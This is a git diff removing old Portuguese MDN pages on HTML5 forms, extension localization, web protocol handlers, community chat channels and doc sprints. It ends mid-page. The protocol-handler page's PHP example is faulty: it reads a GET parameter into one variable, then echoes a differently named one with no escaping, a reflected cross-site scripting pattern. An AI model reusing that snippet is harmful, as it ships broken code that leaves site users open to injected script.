-<p>Elementos e atributos de formulários no HTML5 fornecem um grau maior de marcação semântica do que o HTML4  e removem em grande parte a necessidade tediosa de estilos e scripts requerida no HTML4. Os recursos de formulários no HTML5 fornecem uma melhor experiência para os usuários, tornando os formulários mais consistentes através de diferentes web sites e dando retorno imediato ao usuário sobre a entrada de dados. Eles também fornecem esta experiência aos usuários que deixam os scripts desativados no navegador.</p>
-<p>Este tópico descreve itens novos ou alterados que são suportados pelo Gecko/Firefox.</p>
-<h3 id="O_elemento_&lt;input>">O elemento <code>&lt;input&gt;</code></h3>
-<p>O elemento <code>{{ HTMLElement("input") }}</code> tem novos valores para o atributo {{ htmlattrxref("type", "input") }}.</p>
-<ul>
- <li><span style="font-family: Courier New;">search</span>: O elemento representa um campo de entrada de busca. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada.</li>
- <li><span style="font-family: Courier New;">tel</span>: O elemento representa um controle para a edição de um número de telefone. Quebras de linhas são automaticamente removidas do valor de entrada, mas nenhuma outra sintaxe é aplicada, pois números de telefone podem variar bastante internacionalmente. Você pode usar atributos como {{ htmlattrxref("pattern", "input") }} e {{ htmlattrxref("maxlength", "input") }} para restringir valores digitados no controle.</li>
- <li><span style="font-family: Courier New;">url</span>: O elemento representa um controle para a edição de <a class="external" href="http://en.wikipedia.org/URL" title="http://en.wikipedia.org/URL">URL</a>. Quebras de linha e espaços, à direita e à esquerda, são automaticamente removidos do valor de entrada.</li>
- <li>
- <p><span style="font-family: Courier New;">email</span>: O elemento representa um endereço de e-mail. Quebras de linhas são automaticamente removidas do valor de entrada. Um endereço de e-mail inválido pode ser configurado, mas o campo de entrada somente será satisfeito se contiver um endereço de e-mail que satisfaça a produção ABNF <span style="font-family: Courier New;"><code><code title="">1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code></code></span> na qual <code title="">atext</code> está definido na RFC 5322 section 3.2.3, e <code title="">ldh-str</code> está definido na RFC 1034 section 3.5.</p>
- <div class="note">
- Nota: se o atributo {{ htmlattrxref("multiple", "input") }} é configurado, podem ser digitados múltiplos endereços de e-mail neste campo {{ HTMLElement("input") }}, como uma lista separada por espaços, mas atualmente isto não está implementado no Firefox.</div>
- </li>
-</ul>
-<p>O elemento {{ HTMLElement("input") }} também tem novos atributos:</p>
-<ul>
- <li>{{ htmlattrxref("list", "input") }}: O ID de um elemento {{ HTMLElement("datalist") }} cujos conteúdos, elementos {{ HTMLElement("option") }}, podem ser usados como dicas e são exibidos como propostas na área de sugestões do campo de entrada.</li>
- <li>{{ htmlattrxref("pattern", "input") }}: Uma expressão regular contra a qual o valor do elemento é checado, a qual deve ser usada com os valores <code>text</code>, <code>tel</code>, <code>search</code>, <code>url</code>, e <code>email </code>de {{ htmlattrxref("type", "input") }}.</li>
- <li>{{ htmlattrxref("formmethod", "input") }}: Uma string indicando qual método HTTP (GET ou POST) deve ser usado na submissão; isto substitui o {{ htmlattrxref("method", "form") }} do elemento {{ HTMLElement("form") }}, se definido. O {{ htmlattrxref("formmethod", "input") }} se aplica somente quando {{ htmlattrxref("type", "input") }} é <span style="font-family: Courier New;">image</span> ou <span style="font-family: Courier New;">submit</span>.</li>
- <li>{{ htmlattrxref("x-moz-errormessage", "input") }}: Uma string que é exibida como uma mensagem de erro quando a validação do campo falha. Esta é uma extenção da Mozilla, e não é um padrão.</li>
-</ul>
-<h3 id="O_elemento_&lt;form>">O elemento <code>&lt;form&gt;</code></h3>
-<p>O elemento {{ HTMLElement("form") }} tem um novo atributo:</p>
-<ul>
- <li>{{ htmlattrxref("novalidate", "form") }}: Este atributo previne o formulário de ser validado antes de sua submissão.</li>
-</ul>
-<h3 id="O_elemento_&lt;datalist>">O elemento <code>&lt;datalist&gt;</code></h3>
-<p>O elemento {{ HTMLElement("datalist") }} representa a lista de elementos {{ HTMLElement("option") }} para sugerir quando preencher um campo {{ HTMLElement("input") }}.</p>
-<p>Você pode usar o atributo {{ htmlattrxref("list", "input") }} em um elemento {{ HTMLElement("input") }} para ligar um campo de entrada com um elemento {{ HTMLElement("datalist") }} específico.</p>
-<h3 id="O_elemento_&lt;output>">O elemento <code>&lt;output&gt;</code></h3>
-<p>O elemento <code>{{ HTMLElement("output") }}</code> representa o resultado de um cálculo.</p>
-<p>Você pode usar o atributo {{ htmlattrxref("for", "output") }} para especificar uma relação entre o elemento de saída e outros elementos no documento, afetados pelo resultado (por exemplo, como entradas ou parâmetros). O valor do atributo {{ htmlattrxref("for", "output") }} é uma lista de ID de outros elementos separada por espaços.</p>
-<h3 id="O_atributo_de_espaço_reservado">O atributo de espaço reservado</h3>
-<p>O atributo {{ htmlattrxref("placeholder", "input") }} nos elementos <code>{{ HTMLElement("input") }}</code> e <code>{{ HTMLElement("textarea") }}</code> fornece uma dica ao usuário do que deve ser digitado no campo. O espaço reservado de texto não deve conter novas linhas ou alimentação de linhas.</p>
-<h3 id="O_atributo_de_autofoco">O atributo de autofoco</h3>
-<p>O atributo <strong>autofocus</strong> permite especificar que um controle de formulário deve ter foco nas entradas quando a página carrega, a menos que o usuário sobreponha-se a isto, por exemplo digitando em um controle diferente. Somente um item do formulário pode ter o atributo <strong>autofocus</strong>, que é um Booleano. Este atributo pode ser aplicado aos elementos<code> {{ HTMLElement("input") }}</code>, <code>{{ HTMLElement("button") }}</code>, <code>{{ HTMLElement("select") }}</code>, e <code>{{ HTMLElement("textarea") }}</code>. A exceção é que o <strong>autofocus</strong> não pode ser aplicado em um elemento <code>&lt;input&gt;</code> se o atributo {{ htmlattrxref("type", "input") }} é configurado como <code>hidden</code> (isto é, você não pode configurar automaticamente o foco em um controle escondido).</p>
-<h3 id="A_propriedade_label.control_do_DOM">A propriedade label.control do DOM</h3>
-<p>A interface DOM <a href="/en/DOM/HTMLLabelElement" title="en/DOM/HTMLLabelElement">HTMLLabelElement</a> fornece uma propriedade extra, adicionalmente às propriedades que correspondem aos atributos do elemento <code>{{ HTMLElement("label") }}</code> do HTML. A propriedade <strong>control</strong> retorna um controle rotulado, isto é, o controle para este rótulo, o qual é determinado pelo atributo {{ htmlattrxref("for", "label") }} (se estiver definido) ou pelo primeiro elemento de controle descendente.</p>
-<h3 id="Validação_de_restrições">Validação de restrições</h3>
-<p>O HTML5 fornece itens de API e sintaxe para suportar a validação de formulários do lado do cliente. Enquanto esta funcionalidade não substitui a validação do lado do servidor, a qual ainda é necessária para a segurança e integridade dos dados, a validação do lado do cliente pode suportar uma melhor experiência ao usuário, dando ao usuário um retorno imediato sobre os dados digitados.</p>
-<h4 id="Sintaxe_HTML_para_validação_de_restrições">Sintaxe HTML para validação de restrições</h4>
-<p>Os seguintes itens da sintaxe do HTML5 podem ser usados para especificar restrições em dados de formulários.</p>
-<ul>
- <li>O atributo {{ htmlattrxref("required", "input") }} no elementos {{ HTMLElement("input") }}, {{ HTMLElement("select") }} e {{ HTMLElement("textarea") }} indica que um valor deve ser fornecido. (No elemento {{ HTMLElement("input") }}, {{ htmlattrxref("required", "input") }} aplica-se somente em conjunto com certos valores do atributo {{ htmlattrxref("type", "input") }}.)</li>
- <li>O atributo {{ htmlattrxref("pattern", "input") }} no elemento {{ HTMLElement("input") }} obriga o valor a combinar com uma expressão regular específica.</li>
- <li>Os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }} do elemento {{ HTMLElement("input") }} limitam os valores mínimo e máximo que podem ser digitados.</li>
- <li>O atributo {{ htmlattrxref("step", "input") }} do elemento {{ HTMLElement("input") }} (quando usado combinadamente com os atributos {{ htmlattrxref("min", "input") }} e {{ htmlattrxref("max", "input") }}) define a granularidade de valores que podem ser entrados. Um valor que não corresponda a um valor permitido não será validado.</li>
- <li>O atributo {{ htmlattrxref("maxlength", "input") }} dos elementos {{ HTMLElement("input") }} e {{ HTMLElement("textarea") }} limita o número máximo de caracteres (em pontos de código Unicode) que o usuário pode entrar.</li>
- <li>Os valores <code>url</code> e <code>email</code> para {{ htmlattrxref("type", "input") }} obrigam o valor a ser uma URL ou um endereço de e-mail válido, respectivamente.</li>
-</ul>
-<p>Adicionalmente, pode-se evitar a validação obrigatória especificando-se o atributo {{ htmlattrxref("novalidate", "form") }} no elemento {{ HTMLElement("form") }}, ou o atributo {{ htmlattrxref("formnovalidate", "button") }} no elemento {{ HTMLElement("button") }} e no elemento {{ HTMLElement("input") }} (quando {{ htmlattrxref("type", "input") }} é <code>submit</code> ou <code>image</code>). Estes atributos indicam que o formulário não será validado quando submetido.</p>
-<h4 id="API_de_validação_de_restrições">API de validação de restrições</h4>
-<p>As seguintes propriedades e métodos do DOM relacionados à validação de restrições estão disponíveis nos scripts do lado do cliente:</p>
-<ul>
- <li>Em objetos <a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a>, o método <code>checkValidity()</code> retorna verdadeiro se todos os elementos do formulário com elementos associados com validação obrigatória são satisfeitos, e falso, caso contrário.</li>
- <li>Em <a href="/en/HTML/Content_categories#form-associated" title="en/HTML/Content Categories#form-associated">elementos associados a formulários</a> (en):
- <ul>
- <li>A propriedade <code>willValidate</code>, a qual é falsa se o elemento possuir obrigatoriedades não satisfeitas.</li>
- <li>A propriedade <code>validity</code>, a qual é um objeto de <a href="/en/DOM/ValidityState_Interface" title="en/DOM/ValidityState Interface">ValidityState</a>, que representa o estado de validação em que o elemento se encontra (isto é, falha ou sucesso nas condições obrigatórias).</li>
- <li>A propriedade <code>validationMessage</code>, a qual é uma mensagem descrevendo qualquer valha de obrigatoriedade pertinente ao elemento.</li>
- <li>O método <code>checkValidity()</code>, o qual retorna falso se o elemento falha em satisfazer qualquer das suas obrigatoriedades, ou verdadeiro, caso contrário.</li>
- <li>O método <code>setCustomValidity()</code>, o qual define uma mensagem customizada de validação, permitindo às obrigações serem impostas e validadas além das já pré-definidas.</li>
- </ul>
- </li>
-</ul>
-<p>{{ HTML5ArticleTOC() }}</p>
diff --git a/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html b/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html
deleted file mode 100644
index db0c5dce4c..0000000000
--- a/files/pt-pt/orphaned/localizar_descrições_de_extensões/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Localizar descrições de extensões
-slug: orphaned/Localizar_descrições_de_extensões
-tags:
- - Extensões
- - Localização
-original_slug: Localizar_descrições_de_extensões
----
-<p> </p>
-
-<p>Por causa do <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=257155|bug">bug 257155</a>, desenvolvedores de extensões devem através de um processo especial, definir descrições localizadas na extensão para alvos de extensão baseados em um kit de ferramentas (Como o Firefox ou o Thunderbird).</p>
-
-<ul>
- <li>Se você atualmente não os têm, crie arquivos de propriedades localizadas (<a href="/en/Localizing_an_extension#Localizing_strings_in_JavaScript_code">localized properties files</a>). Tenha certeza de usar a codificação UTF-8 para assegurar que caracteres estrangeiros sejam exibidos corretamente.</li>
- <li>Adicione a seguinte linha a cada um dos seus arquivos de propriedade de localização (onde EXTENSION_ID faz o ID da sua extensão (<code>&lt;em:id&gt;</code> de <a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a>) e LOCALIZED_DESCRIPTION é a descrição da sua extensão que você quer que apareçam nas línguas dadas):</li>
-</ul>
-
-<pre>extensions.EXTENSION_ID.description=LOCALIZED_DESCRIPTION</pre>
-
-<ul>
- <li>Se você atualmente não tiver um, crie um arquivo de preferências padrão (<a href="/en/Building_an_Extension#Defaults_Files">a default preferences file</a>).</li>
- <li>Adicione a seguinte linha a ele (onde EXTENSION_ID faz o ID do seu aplicativo de <a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a> e PATH_TO_LOCALIZATION_FILE é o remendo chrome para o arquivo de localização que você adicionou mais cedo):</li>
-</ul>
-
-<pre>pref("extensions.EXTENSION_ID.description", "PATH_TO_LOCALIZATION_FILE");</pre>
diff --git a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html b/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html
deleted file mode 100644
index 9651d9ac89..0000000000
--- a/files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html
+++ /dev/null
@@ -1,98 +0,0 @@
----
-title: Manipuladores de protocolo web
-slug: orphaned/Manipuladores_de_protocolo_web
-tags:
- - Firefox 3
-original_slug: Manipuladores_de_protocolo_web
----
-<p></p>
-<h3 id="Vis.C3.A3o_geral" name="Vis.C3.A3o_geral"> Visão geral </h3>
-<p>É comum encontrar páginas com links para recursos utilizando protocolos não-<code>http</code>. Um exemplo é o protocolo <code>mailto:</code>:
-</p>
-<pre>&lt;a href="mailto:webmaster@exemplo.com"&gt;Web Master&lt;/a&gt;
-</pre>
-<p>Autores podem usar um link <code>mailto:</code> quando desejam fornecer uma maneira conveniente de enviar mensagens diretamente da página. Quando o link é ativado, o navegador deve lançar a aplicação padrão do sistema para manipular emails. Você pode pensar nisso como um manipulador de protocolos <i>baseado no desktop</i>.
-</p><p>Manipuladores de protocolos baseados na web permitem que aplicações web também participem desse processo. Isso tem-se tornado mais importante à medida em que mais e mais tipos de aplicações tem migrado para a web. Na verdade, existem várias aplicações que manipulam mensagens baseadas na web que poderiam processar os links <code>mailto</code>.
-</p>
-<h3 id="Registrando" name="Registrando"> Registrando </h3>
-<p>Registrar uma aplicação web como manipulador de protocolos não é um processo difícil. Basicamente, a aplicação web deve utilizar o o método <code><a href="pt/DOM/window.navigator.registerProtocolHandler">registerProtocolHandler()</a></code> para registrar-se como manipulador em potencial para um determinado protocolo. Por exemplo:
-</p>
-<pre>navigator.registerProtocolHandler("mailto",
- "https://www.exemplo.com/?uri=%s",
- "Correio de Exemplo");
-</pre>
-<p>Onde os parâmetros são:
-</p>
-<ul><li> O protocolo;
-</li><li> A URL do documento utilizado como manipulador; o "%s" será substituido pelo valor do atributo <code>href</code> do link e um GET será executado na URL resultante;
-</li><li> O nome amigável do manipulador.
-</li></ul>
-<p>Quando um navegador executa esse código, ele deve pedir permissão ao usuário para registrar a aplicação como manipulador do protocolo. O Firefox exibe um prompt na barra de notificação:
-</p><p><img alt="Image:mpw-notificacao.png">
-</p><p>{{ Note() }}
-</p>
-<h4 id="Exemplo" name="Exemplo"> Exemplo </h4>
-<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
-&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;Exemplo de manipulador de protocolo - Registro&lt;/title&gt;
- &lt;script type="text/javascript"&gt;
- navigator.registerProtocolHandler("falso",
- "http://loremipsum.org/projetos/mpw.php?valor=%s",
- "Falso Mail");
- &lt;/script&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;h1&gt;Exemplo de manipulador de protocolo&lt;/h1&gt;
- &lt;p&gt;Esta página instalará um manipulador de protocolos para o protocolo &lt;code&gt;falso:&lt;/code&gt;.&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-<h3 id="Ativando" name="Ativando"> Ativando </h3>
-<p>Agora, sempre que o usuário ativar um link que utiliza o protocolo registrado, o navegador direcionará a ação para a URL fornecida pela aplicação registrada. O Firefox irá, por padrão, perguntar ao usuário antes de executar a ação.
-</p><p><img alt="Image:mpw-executar.png">
-</p>
-<h4 id="Exemplo_2" name="Exemplo_2"> Exemplo </h4>
-<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
-&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;Exemplo de manipulador de protocolo - Teste&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;p&gt;Ei, você já viu &lt;a href="falso:URL%20de%20exemplo"&gt;isso&lt;/a&gt; antes?&lt;/p&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-<h3 id="Manipulando" name="Manipulando"> Manipulando </h3>
-<p>A próxima fase é manipular a ação. O navegador extrai o valor do atributo <code>href</code> do link ativado, combina esse valor com a URL fornecida pelo manipulador durante o registro e executa um HTTP GET na URL. Assim, usando os exemplos acima, o navegador executaria um GET na seguinte URL:
-</p>
-<pre>http://loremipsum.org/projetos/mpw.php?valor=falso:URL%20de%20exemplo
-</pre>
-<p>Programas no servidor podem extrair os parâmetros e executar a ação desejada.
-</p><p>{{ Note("o valor <b>inteiro</b> do atributo <code>href</code> é passado ao programa do servidor. Isso significa que o programa no servidor deverá separar o protocolo dos dados.") }}
-</p>
-<h4 id="Exemplo_3" name="Exemplo_3"> Exemplo </h4>
-<pre>&lt;?php
-$value = "";
-if ( isset ( $_GET["valor"] ) ) {
- $value = $_GET["valor"];
-}
-?&gt;
-
-&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"&gt;
-&lt;html&gt;
-&lt;head&gt;
- &lt;title&gt;Exemplo de manipulador de protocolo&lt;/title&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;h1&gt;Exemplo de manipulador de protocolo - Manipulador&lt;/h1&gt;
- &lt;p&gt;Esta página é chamada ao manipular uma ação do protocolo &lt;code&gt;falso:&lt;/code&gt;. Dados enviados:&lt;/p&gt;
- &lt;textarea&gt;
-&lt;?php echo(urldecode($valor)) ?&gt;
- &lt;/textarea&gt;
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-<p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/Web-based_protocol_handlers", "fr": "fr/Gestionnaires_de_protocoles_web", "ja": "ja/Web-based_protocol_handlers", "pl": "pl/Funkcje_obs\u0142ugi_protoko\u0142\u00f3w_przez_aplikacje_internetowe" } ) }}
diff --git a/files/pt-pt/orphaned/mdn/community/conversations/index.html b/files/pt-pt/orphaned/mdn/community/conversations/index.html
deleted file mode 100644
index b533aaf3a7..0000000000
--- a/files/pt-pt/orphaned/mdn/community/conversations/index.html
+++ /dev/null
@@ -1,59 +0,0 @@
----
-title: Conversações da comunidade MDN
-slug: orphaned/MDN/Community/Conversations
-tags:
- - Comunidade
- - Guia(2)
- - MDN Meta
-translation_of: MDN/Community/Conversations
-original_slug: MDN/Comunidade/Conversações
----
-<div>{{MDNSidebar}}</div><p class="summary">O "trabalho" da MDN ocorre no site da MDN, mas a "comunidade" também produz através da discussão (assíncrona), conversação on-line (síncrona) e encontros.</p>
-
-<h2 id="Discussões_assíncronas">Discussões assíncronas</h2>
-
-<p>Para partilhar a informação e ter discussões em curso, a <a href="/pt-PT/docs/MDN/Comunidade/Conversações">MDN tem a sua própria categoria ("MDN") , no fórum da Mozilla Discourse. </a>Utilize esta categoria para todos os tópicos relacionados com a MDN, incluindo a criação de conteúdo da documentação, tradução, e manutenção; desenvolvimento da plataforma MDN; planeamento, definição de metas, e acompanhamento do progresso.</p>
-
-<ul>
- <li>Para aderir a Mozilla Discourse, consulte <a href="https://discourse.mozilla-community.org/t/signing-up-and-logging-in/16017">Registar e iniciar sessão</a> (EN); se tiver uma conta Mozilla LDAP, pode-a utilizar em vez de "Iniciar a sessão com e-mail".</li>
- <li>Para subscrever a categoria da MDN, consulte <a href="https://discourse.mozilla-community.org/t/subscribing-to-categories-and-topics/16024">Subscrição de categorias e tópicos</a> (EN).</li>
- <li>(Opcional) Se preferir interagir com <em>Discourse</em> principalmente por e-mail, consulte <a href="https://discourse.mozilla-community.org/t/mailman-mode/15279">Configurar uma lista de endereços para si mesmo</a>. Pode iniciar uma discussão em <em>Discourse, </em>enviando uma mensagem por e-mail para: <a href="mailto://mdn@mozilla-community.org">mdn@mozilla-community.org</a>. Se utilizar <em>Discourse</em> via e-mail, pode responder a uma mensagem, respondendo à mensagem de notificação que recebe. Se deseja interpolar comentários em linha dentro de uma resposta, por favor, coloque dois retornos antes e depois das suas partes em linha, e assim <em>Discourse</em> analisa-as corretamente.</li>
-</ul>
-
-<h3 id="Arquivos_históricos">Arquivos históricos</h3>
-
-<p>Antes de junho de 2017, as discussões relacionadas com a MDN ocorriam nas listas de endereços que eram acedidas e arquivadas com os grupos Google. Se desejar pesquisar essas discussões anteriores, pode consultar os grupos Google correspondentes às listas de endereços antigas. (Sim, nós sabemos que esses nomes são sobrepostos e confusos. Acidente histórico. Desculpe por isso.)</p>
-
-<dl>
- <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdc">mozilla.dev.mdc</a> a.k.a. <strong>dev-mdc</strong></dt>
- <dd>Esta lista era para discussões sobre conteúdo de documentação na MDN.</dd>
- <dt><a href="https://groups.google.com/forum/#!forum/mozilla.dev.mdn">mozilla.dev.mdn </a>a.k.a. <strong>dev-mdn</strong></dt>
- <dd>Esta lista era sobre o trabalho de desenvolvimento na plataforma subjacente <a href="/pt-PT/docs/MDN/Kuma">Kuma</a> da MDN.</dd>
- <dt><a href="https://groups.google.com/forum/#!forum/mozilla.mdn">mozilla.mdn </a>a.k.a. <strong>mdn@</strong></dt>
- <dd>Este fórum era para discussões de alto nível de planeamento e priorização, para o site da Web da MDN e outras iniciativas relacionadas.</dd>
-</dl>
-
-<p> </p>
-
-<h2 id="Conversação_no_IRC">Conversação no IRC</h2>
-
-<p>Internet Relay Chat (IRC) is our preferred method for day-to-day chat and real-time discussions among community members. We use a few channels on the server irc.mozilla.org for discussions related to MDN.</p>
-
-<dl>
- <dt><a href="irc://irc.mozilla.org/mdn" title="irc://irc.mozilla.org/mdn">#mdn</a></dt>
- <dd>This channel is our primary channel for discussing the content of MDN. We talk about writing, organization of content, and so on. We also have "water cooler" conversations here—it's a way our community can keep in touch and just hang out. This is also the place to talk about other aspects of MDN (other than development of the platform), such as Demo Studio, profiles, and so on.</dd>
- <dt><a href="irc://irc.mozilla.org/mdndev" title="irc://irc.mozilla.org/mdndev">#mdndev</a></dt>
- <dd>This channel is where our development team—the people that write the code that makes MDN work—hangs out and discusses their day-to-day work. You're welcome to join in and either participate in the development or simply ask questions about issues you see with the software.</dd>
-</dl>
-
-<p>Estes canais são mais prováveis ​​de estarem ativos durante a semana na América do Norte.</p>
-
-<p>You may want to <a href="http://wiki.mozilla.org/IRC" title="http://wiki.mozilla.org/IRC">learn more about IRC</a> (EN) and use an installable IRC client such as <a href="https://addons.mozilla.org/pt-PT/firefox/addon/chatzilla/" title="https://addons.mozilla.org/en-US/firefox/addon/chatzilla/">ChatZilla</a> (PT). It is implemented as a Firefox add-on, which makes it quick and easy to install and use. If you're not familiar with IRC, an easy way to join is using a web-based IRC client such as <a href="http://web.scrollback.io/">Scrollback</a>, which is pre-configured with the <a href="http://scrollback.io/mozdn/">mdn</a> and <a href="http://scrollback.io/mdndev/">mdndev</a> channels.</p>
-
-<h2 id="Junte-se_aos_nossos_encontros_(e_outros_eventos)">Junte-se aos nossos encontros (e outros eventos)</h2>
-
-<p>A equipa da MDN realiza vários encontros regulares abertos para a comunidade MDN. Consulte a página de Encontros da MDN na <em>wiki</em> da Mozilla para obter detalhes dos agendamentos, agendas e notas, e informação sobre como participar.</p>
-
-<p>Consulte o calendário de <a href="https://calendar.google.com/calendar/embed?src=mozilla.com_2d35383434313235392d323530@resource.calendar.google.com" title="https://wiki.mozilla.org/MDN/Community_meetings">Eventos da MDN</a> (EN) para estes e outros encontros, local de encontros, e outros eventos.</p>
-
-<p>Se vir um encontro que ocorre no canal "mdn", no nosso sistema de videoconferência Vidyo, pode<a href="https://v.mozilla.com/flex.html?roomdirect.html&amp;key=gMM1xZxpQgqiQFNkUR3eBuHgxg"> juntar-se à conversação na Web</a>.</p>
diff --git a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html b/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html
deleted file mode 100644
index 0fba79f7bb..0000000000
--- a/files/pt-pt/orphaned/mdn/community/doc_sprints/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Doc sprints
-slug: orphaned/MDN/Community/Doc_sprints
-tags:
- - Comunidade
- - Guía
- - Metadados MDN
-translation_of: MDN/Community/Doc_sprints
-original_slug: MDN/Comunidade/Doc_sprints
----
-<div>{{MDNSidebar}}</div>
-
-<p>{{ draft() }}</p>
-
-<div class="note">
-<p><strong>Nota: </strong>a comunidade da MDN realizou frequentemente <em>sprints</em> de documentação durante o período de 2010 a 2013. A partir de 2014, estes eventos foram ampliados para os eventos "<a href="https://blog.mozilla.org/community/2015/04/17/a-highly-productive-hack-on-mdn-weekend-in-berlin/">Hack na MDN</a>" que incluem <em>hacking</em> de código, bem como projetos de documentação. A maioria dos conselhos abaixo aplicam-se igualmente aos <em>sprints</em> de "Hack" e <em>sprints</em> de documentação.</p>
-</div>
-
-<p><span class="seoSummary">Este é um guia para organizar um <em>sprint</em> de documentação. Este contém conselhos e dicas de pessoas que organizaram os <em>sprints</em> de documentos, para ajudá-lo a organizar um também. Este guia também se baseia nas idéias do livro</span><a class="external" href="http://write.flossmanuals.net/book-sprints/introduction/" rel="external" title="http://write.flossmanuals.net/book-sprints/introduction/">FLOSS Manuals Book Sprints</a>.</p>
-
-<h2 id="O_que_é_um_sprint_de_documento">O que é um <em>sprint</em> de documento?</h2>
-
-<p>A doc sprint is a short period when a group of people come together, virtually or actually, to collaborate on writing documentation on a given topic or related topics.</p>
-
-<h2 id="Tipos_de_sprints">Tipos de <em>sprints</em></h2>
-
-<p>Sprints can be virtual or in-person, or some combination. For a virtual sprint, everyone participates from wherever they happen to be located, communicating solely through mediated channels. For an in-person sprint, participants gather in the same location for the duration of the sprint, so that they can communicate face-to-face. Hybrid sprints can be mostly-in-person with some remote participants, or mostly-virtual with some local gatherings. In-person sprints require more logistical planning, to secure a meeting location, to get everybody there, and to house and feed them during the sprint.</p>
-
-<p>Another way to categorize sprints is by topical focus. For example, a sprint might focus on a particular subject area, such as Web development, or translation into a particular language.</p>
-
-<h2 id="Planear_um_sprint">Planear um <em>sprint</em></h2>
-
-<h3 id="Determinar_os_objetivos">Determinar os objetivos</h3>
-
-<p>Have a clear idea of what the goals are for the sprint, for both content and community. This helps drive your planning of lower-level details.</p>
-
-<ul>
- <li>Do you want to document a particular topic area?</li>
- <li>Do you want to create a particular type of documents or resources? For example, tutorials, code examples, or translations in a particular language.</li>
- <li>Do you want to attract new people to contribute to MDN?</li>
- <li>Do you want to increase cohesion among existing community members?</li>
-</ul>
-
-<h3 id="Decidir_o_tipo_e_âmbito">Decidir o tipo e âmbito</h3>
-
-<p>Based on your goals, decide on the type of sprint (virtual, in-person, or combination) and the scope (what participants will focus on).</p>
-
-<p>For example, if you want to attract new community members, a local in-person sprint would be a good choice, because no travel is involved, but participants get to meet each other. If you want to focus on a specific subject area, where the content contributors are geographically distributed, and already know each other, then a virtual sprint may make sense.</p>
-
-<h3 id="Escolher_datas_e_horas">Escolher datas e horas</h3>
-
-<p>For in-person sprints that require travel, we've found that three days (such as two weekend days and a weekday) is enough time to get some significant work done, without taking too much time away from everyone's normal lives. For public, local, in-person sprints, one day is the most you can expect most people to commit. For virtual sprints, we typically run for two days: a weekday and a weekend day. As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).</p>
-
-<p>Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint <em>during</em> a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.</p>
-
-<p>Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.</p>
-
-<p>For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.</p>
-
-<h3 id="Promoter_o_sprint">Promoter o <em>sprint</em></h3>
-
-<p>You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.</p>
-
-<p>For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. <a href="https://www.eventbrite.com/" title="https://www.eventbrite.com/">Eventbrite </a>and <a href="http://lanyrd.com" title="http://lanyrd.com">Lanyrd</a> are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.</p>
-
-<p>Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.</p>
-
-<h3 id="Logística_para_sprints_em_pessoa">Logística para <em>sprints</em> em pessoa</h3>
-
-<p>Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.</p>
-
-<h4 id="Orçamento_e_financiamento">Orçamento e financiamento</h4>
-
-<p>You need to figure out how much the event is going to cost, and where the money is going to come from.</p>
-
-<p>Costs to consider in your budget include:</p>
-
-<ul>
- <li>Travel</li>
- <li>Lodging</li>
- <li>Food</li>
- <li>Meeting space</li>
-</ul>
-
-<p>Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.</p>
-
-<p>It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a <a href="https://reps.mozilla.org/people/#/">Mozilla Rep</a> in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a <a href="https://bugzilla.mozilla.org/form.dev-engagement-event">developer events request</a> in Bugzilla.</p>
-
-<dl>
- <dt>Ponto de encontro</dt>
